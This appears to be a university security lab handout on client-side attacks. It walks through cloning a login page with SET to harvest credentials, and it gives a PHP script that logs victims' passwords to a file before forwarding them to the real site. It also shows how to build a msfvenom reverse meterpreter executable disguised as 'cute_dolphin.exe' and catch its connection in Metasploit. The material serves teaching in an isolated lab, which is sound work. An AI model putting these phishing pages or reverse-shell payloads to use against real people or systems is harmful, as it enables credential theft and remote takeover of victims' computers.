Lab: Client-Side attacks and Social Engineering

6COSC002W

Ayman El Hajjar

Week 8

Requirements and Notes

- **NOTE**- In some activities you need **only** your Kali Linux machine to be connected to the internet.
- In this lab, you need the following VM machines
  1. Kali Linux
  2. OWASP Vulnerable machine
  3. Windows 7 Machine
- **REMEMBER:** In order for the lo same lab documents, you need to start the VMs in the **CORRECT ORDER** as above

Creating a password harvester

Social engineering attacks may be considered as a special kind of client-side attacks. In such attacks, the attacker has to convince the user that the attacker is a trustworthy counterpart and is authorized to receive the information the user has.

Using Set

SET or the Social-Engineer Toolkit (Set website link) is a set of tools designed to perform attacks against the human element; attacks, such as Spear-phishing, mass e-mails, SMS, rouge wireless access point, malicious websites, infected media, and so on.

- we will use SET to create a password harvester web page and look at how it works and how attackers use it to steal a user's passwords.

Changing some settings in SETOOLKIT

- Before you start with this experiment, you need to make sure that setoolkit is using Apache server.
- Two things you need to do
  1. Check if you have apache installed, if not install it
     - To install type **sudo apt-get install apache2**
  2. your kali will tell you if it already exist or not
- Now you know apache server exist on your machine, you need to change some setting to ensure that Setoolkit uses Apache
- Go to setoolkit files by typing **cd /etc/setoolkit**
- Modify set.config file by typing **sudo gedit set.config**
- Find the commented paragraph ### the standard Python web server. This will increase the speed ### of the attack vector.
- You will find below that it is not using apache server and it is off **Apache_Server=OFF**
- Change this to on **Apache_Server=ON**
- save and exit.
- Now you can continue with your lab

Using SET

- In a terminal, write the following command as root:
  - **setoolkit**
  - In the set >prompt, write **1 (for Social-Engineering Attacks)** and hit Enter.
  - Now **select Website Attack Vectors (option 2)**
  - From the following menu, we will use the **Credential Harvester Attack Method (option 3)**.
  - Then select the **Site Cloner (option 2)**.
  - It will ask for IP address for the POST back in Harvester/Tabnabbing , which means the IP where the harvested credentials are going to be sent to. Here, we write the IP of our Kali machine in the host only network: **192.168.56.101** .
  - Next, it will ask for the URL to clone; we will clone the Peruggia's login from our vulnerable_vm, write **http://192.168.56.102/peruggia/index.php?action=login** .
  - Now, the cloning process will start; after that you will be asked if SET starts the Apache server, let's say yes for this time; write **y** and hit Enter
  - Hit Enter again.
  - Let's test our experiment
    - On the attacker PC (Other steps are needed to show how this can be done for a remote machine, for now we will see everything is happening on the attacker machine), suppose the user unknowingly, visit http://192.168.56.101/ thinking it is the original web server.
    - Open a browser and type in the address http://192.168.56.101
  - The user will see the exact cloned copy of the website with the login page.
    - Enter your username and password
    - You will see that the page redirects to the original login page.
  - Now on the attacker machine, go to a terminal and enter the directory where the harvester file is saved, by default it is /var/www/ html in your Kali Linux

Using previously saved pages to create a phishing site

In the previous section, we used SET to duplicate a website and used it to harvest passwords. Sometimes, duplicating only the login page won't work with more advanced users; they may get suspicious when they type the correct password and get redirected to the login page again or will try to browse to some other link in the page and we will lose them as they leave our page and go to the original one. In this section, we will use the page we copied in the Downloading a page for offline analysis using Wget to build a more elaborate phishing site, as it will have almost full navigation and will log in to the original site after the credentials are captured.

- To download the page we type:
  - **wget -r -P bodgeit_offline/ http://192.168.56.102/bodgeit/**
- Then, the offline page will be stored in the bodgeit_offline directory.
- We will need then to copy the downloaded site to our Apache root folder in Kali. In a root terminal type:
  - **cp -r bodgeit_offline/192.168.56.102/bodgeit /var/www/html/**
- Then we can start our Apache service:
  - **service apache2 start**
- Next, we need to update our login page to make it redirect to the script that willharvest the passwords. Open the login.jsp file inside the bodgeit directory (/ var/www/html/bodgeit) and look for the following code:

```
<h3>Login</h3>
Please enter your credentials: <br/><br/>
<form method="POST">
```

- Now, in the form tag add the action to call post.php:

```
<form method="POST" action="post.php">
```

- We need to create that file in the same directory where login.jsp is, create post.php with the following code:

```
<?php
$file = 'labpasswords.txt';
file_put_contents($file, print_r($_POST, true), FILE_APPEND);
$username=$_POST["username"];
$password=$_POST["password"];
```

```
$submit="Login";
?>
<body onload="frm1.submit.click()">
<form name="frm1" id="frm1" method="POST"
 action="http://192.168.56.102/bodgeit/login.jsp">
<input type="hidden" value= "<?php echo $username;?>" name
="username">
<input type="hidden" value= "<?php echo $password;?>" name
="password">
<input type="submit" value= "<?php echo $submit;?>" name
="submit">
</form>
</body>
```

- As you can see, passwords will be saved to labpasswords.txt; we need to create that file and set the proper permissions. Go to /var/www/html/bodgeit in the root terminal and issue the following commands
  - **touch labpasswords.txt**
  - **chown www-data labpasswords.txt**

READ THIS

- **NOTE**-
- **REMEMBER:** For this to work, the victim needs to have a valid creden tials on bodgedit store
- On windows do the following:
  - Open a browser and go to http://192.168.56.101/bodgeit/
  - Click on register
  - Create a username and password.
    * **username**: user@mail.com
    * **password**: password

- Remember that the web server runs under www-data user, so we need to make that user the owner of the file, so it can be written by the web server process.
- Now, it's time for the victim user (That is the windows machine) to go to that site, suppose we make the user go to http://192.168.56.101/bodgeit/login.jsp. Open a web browser and go there.
- Fill the login form with some valid user information, for this lab:

  - We will use username: **user@mail.com** and password is: **password**

- Click on **login**
- It looks as if it worked; we are now successfully logged into 192.168.56.101.
- Let's check the passwords file; in the terminal, type:
  - **cat labpasswords.txt**
- And, we have it. We captured the user's password, redirected them to the legitimate page and performed the login.

How it works

- In this activity, we used a copy of a site to create a password harvester, and to make it more trustworthy, we made the script perform the login to the original site.
- In the first three steps, we simply set up the web server and the files it was going to show. Next, we created the password harvester script post.php: the first two lines are the same as in the previous activity; it takes in all POST parameters and saves them to a file:

```
$file = 'labpasswords.txt';
file_put_contents($file, print_r($_POST, true), FILE_APPEND);
```

- Then we stored each parameter in variables:

```
$username=$_POST["username"];
$password=$_POST["password"];
$submit="Login";
```

- As we login and don't want to depend on the user sending the right value, we set $submit="Login". Next, we create an HTML body, which includes a form that will automatically send the username, password, and submit values to the original site when the page finishes loading:

```
<body onload="frm1.submit.click()">
<form name="frm1" id="frm1" method="POST"
 action="http://192.168.56.102/bodgeit/login.jsp">
<input type="hidden" value= "<?php echo $username;?>" name
="username">
<input type="hidden" value= "<?php echo $password;?>" name
="password">
<input type="submit" value= "<?php echo $submit;?>" name
="submit">
</form>
</body>
```

- Notice, how the onload event in the body doesn't call frm1.submit() but frm1.submit. click(); this is done in this way because when we use the name "submit" for a form's element, the submit() function in the form is overridden by that element (the submit button in the case) and we don't want to change the name of the button because it's a name the original site requires; so we make submit in to a button instead of a hidden field and use it's click() function to submit the values to the original site. We also set the values of the fields in the form equal to the variables we previously used to store the user's data.

Creating a reverse shell with Metasploit and capturing its connections

When we do a client side attack, we have the ability to trick the user into executing programs and make those programs connect back to a controlling computer. In this recipe, we will learn how to use Metasploit's msfvenom to create an executable program (reverse meterpreter shell) that will connect to our Kali computer, when executed, and give us the control of the user's computer.

- First, we will create our shell. Open a terminal in Kali and issue the following command:
  - **msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4443 -f exe > cute_dolphin.exe**
- This will create a file named cute_dolphin.exe, which is a reverse meterpreter shell; reverse means that it will connect back to us instead of listening for us to connect.
- Next, we need to set up a listener for the connection our cute dolphin is going to create, in the msfconsole's terminal:
  - **use exploit/multi/handler**
  - **set payload windows/meterpreter/reverse_tcp**
  - **set lhost 192.168.56.101**
  - **set lport 4443**
  - **set ExitOnSession false**
  - **set AutorunScript post/windows/manage/smart_migrate**
  - **exploit -j -z**
- As you can see, the LHOST and LPORT are the ones we used to create the .exe file. This is the IP address and TCP port the program is going to connect to, so we will need to listen on that network interface of our Kali Linux and over that port.
- Now, we have our Kali ready, it's time to prepare the attack on the user. Let's start the Apache service as root and run the following code:
  - **service apache2 start**
- Then, copy the malicious file to the web server folder:
  - **cp cute_dolphin.exe /var/www/html/**
- Suppose we use social engineering and make our victim believe that the file is something they should run to obtain some benefit. In the windows-client virtual machine, go to http://192.168.56.101/cute_dolphin.exe

- You will be asked to download or run the file, for testing purposes, select Run, and when asked, Run again.
- Now, in the Kali's msfconsole terminal, you should see the connection getting established
- We ran the connection handler in the background (the -j -z options). Let's check our active sessions:
  - **sessions**
- If we want to interact with that session, we use the -i option with the number of sessions:
  - **sessions -i 1**
- We will see the meterpreter's prompt; now, we can ask for information about the compromised system:
  - **sysinfo**
- Or have a system shell:
  - **shell**

How it works

- Msfvenom helps us create payloads from the extensive list of Metasploit's payloads and incorporate them into source code in many languages or create scripts and executable files, as we did in this recipe. The parameters we used here were the payload to use (windows/ meterpreter/reverse_tcp), the host and port to connect back (LHOST and LPORT), and the output format (-f exe); redirecting the standard output to a file to have it saved as cute_dolphin.exe.
- The exploit/multi/handler module of Metasploit is a payload handler; in this case we used it to listen for the connection and after the connection was established, it ran the meterpreter payload.
- Meterpreter is the Metasploit's version of a shell on steroids; it contains modules to sniff on a victim's network, to use it as a pivot point to access the local network, to perform privilege escalation and password extraction, and many other useful things when performing penetration tests.